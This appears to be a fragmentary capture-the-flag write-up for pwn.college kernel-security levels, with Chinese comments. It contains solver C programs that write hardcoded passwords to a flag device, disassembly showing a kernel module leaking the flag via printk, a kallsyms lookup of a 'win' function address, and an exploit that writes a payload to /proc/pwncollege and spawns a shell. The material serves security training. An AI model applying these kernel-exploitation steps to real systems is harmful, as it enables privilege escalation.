intmain(){ char * Passwd = "gyvcbzlksuywlujh"; int fd = open(get_Flag_Path,O_WRONLY); if (fd<0){ printf("OPEN ERROR check you File !!! And you fd is %d ",fd); } if (write(fd,Passwd,strlen(Passwd))>0){ printf("Fd is %d,You Are Win",fd); } close(fd); return EXIT_SUCCESS; }
.rodata.str1.1:0000000000000778 format db 1 ; DATA XREF: device_write+6C↑o .rodata.str1.1:0000000000000779 db 36h ; 6 .rodata.str1.1:000000000000077A db 54h ; T .rodata.str1.1:000000000000077B db 68h ; h .rodata.str1.1:000000000000077C db 65h ; e .rodata.str1.1:000000000000077D db 20h .rodata.str1.1:000000000000077E db 66h ; f .rodata.str1.1:000000000000077F db 6Ch ; l .rodata.str1.1:0000000000000780 db 61h ; a .rodata.str1.1:0000000000000781 db 67h ; g .rodata.str1.1:0000000000000782 db 20h .rodata.str1.1:0000000000000783 db 69h ; i .rodata.str1.1:0000000000000784 db 73h ; s .rodata.str1.1:0000000000000785 db 3Ah ; : .rodata.str1.1:0000000000000786 db 20h .rodata.str1.1:0000000000000787 db 25h ; % .rodata.str1.1:0000000000000788 db 73h ; s .rodata.str1.1:0000000000000789 db 0Ah
================================================================================================================ .text.unlikely:0000000000000511 mov rsi, offset flag .text.unlikely:0000000000000518 mov rdi, offset format ; 可以看到,会把flag当成二参打印出来 .text.unlikely:000000000000051F call printk ; PIC mode
intmain(){ char * Passwd = "kfjplhjtylqmntng"; int fd = open(get_Flag_Path,O_WRONLY); if (fd<0){ printf("OPEN ERROR check you File !!! And you fd is %d ",fd); } if (write(fd,Passwd,strlen(Passwd))>0){ printf("Fd is %d,You Are Win",fd); } close(fd); return EXIT_SUCCESS; } // 最后dmesg | tail -n 20,可以看到flag
intmain(){ char * Passwd = "sfvzlmiqphywsyfk"; int fd = open(get_Flag_Path,O_WRONLY); if (fd<0){ printf("OPEN ERROR check you File !!! And you fd is %d ",fd); } if (write(fd,Passwd,strlen(Passwd))>0){ printf("Fd is %d,You Are Win",fd); } system("cat /flag"); close(fd); return EXIT_SUCCESS; }
root@vm_practice~kernel-security~level5-0:/home/hacker# cat /proc/kallsyms | grep win ffffffff81050a70 T unwind_next_frame ffffffff81051000 T __unwind_start ffffffff81051220 T unwind_get_return_address ffffffff81051250 T unwind_module_init ffffffff81051300 T unwind_get_return_address_ptr ffffffff81051327 t unwind_next_frame.cold ffffffff810b3a30 T kmsg_dump_rewind ffffffff810b6980 T kmsg_dump_rewind_nolock ffffffff813bc350 t zlib_updatewindow ffffffff813be740 t fill_window ffffffff813e12d0 T pci_disable_bridge_window ffffffff813e2da0 t extend_bridge_window.isra.0.part.0 ffffffff813e3a50 W pcibios_window_alignment ffffffff81406410 t con2fb_acquire_newinfo ffffffff8140cc60 T acpi_osi_is_win8 ffffffff81488f90 t hvc_set_winsz ffffffff814aaed0 T iommu_domain_window_enable ffffffff814aaef0 T iommu_domain_window_disable ffffffff81543fc0 t __unwind_incomplete_requests ffffffff81546980 T execlists_unwind_incomplete_requests ffffffff815c6930 t dsi_program_swing_and_deemphasis ffffffff815c6fa0 t gen11_dsi_voltage_swing_program_seq ffffffff815cc7c0 t icl_ddi_combo_vswing_program ffffffff815cca90 t icl_combo_phy_ddi_vswing_sequence ffffffff815cd0b0 t cnl_ddi_vswing_program.isra.0 ffffffff815cd500 t cnl_ddi_vswing_sequence ffffffff815cdd90 t icl_ddi_vswing_sequence ffffffff815ce350 t bxt_ddi_vswing_sequence.isra.0 ffffffff81701a40 T pcmcia_release_window ffffffff81701e20 T pcmcia_request_window ffffffff81806bd0 t snd_pcm_rewind.part.0 ffffffff8182d430 t twinhead_reserve_killing_zone ffffffff8182d6a7 t twinhead_reserve_killing_zone.cold ffffffff81883db0 t tx_window_errors_show ffffffff818e0600 t tcp_grow_window.isra.0 ffffffff818e9820 T tcp_select_initial_window ffffffff818eb090 T __tcp_select_window ffffffff818ef200 T tcp_send_window_probe ffffffff818f58c0 T tcp_openreq_init_rwin ffffffff819c5e50 t xprt_iter_no_rewind ffffffff819c5e60 t xprt_iter_default_rewind ffffffff81aa43b0 t minmax_subwin_update ffffffff81c01480 T rewind_stack_do_exit ffffffff82e66683 T unwind_init ffffffff82e90e40 t __acpi_osi_setup_darwin ffffffff82e90f4b t dmi_disable_osi_win8 ffffffff82e90f6a t dmi_disable_osi_win7 ffffffffc000092d t win [challenge] ; 可以看到这里是win的地址
int fd = open("/proc/pwncollege", O_RDWR); int ret = write(fd, payload.data, payload.size); printf("Open Fd is %d,and Write ret is %d ", fd, ret); system("/bin/sh"); close(fd); payload_fini(&payload); return0; }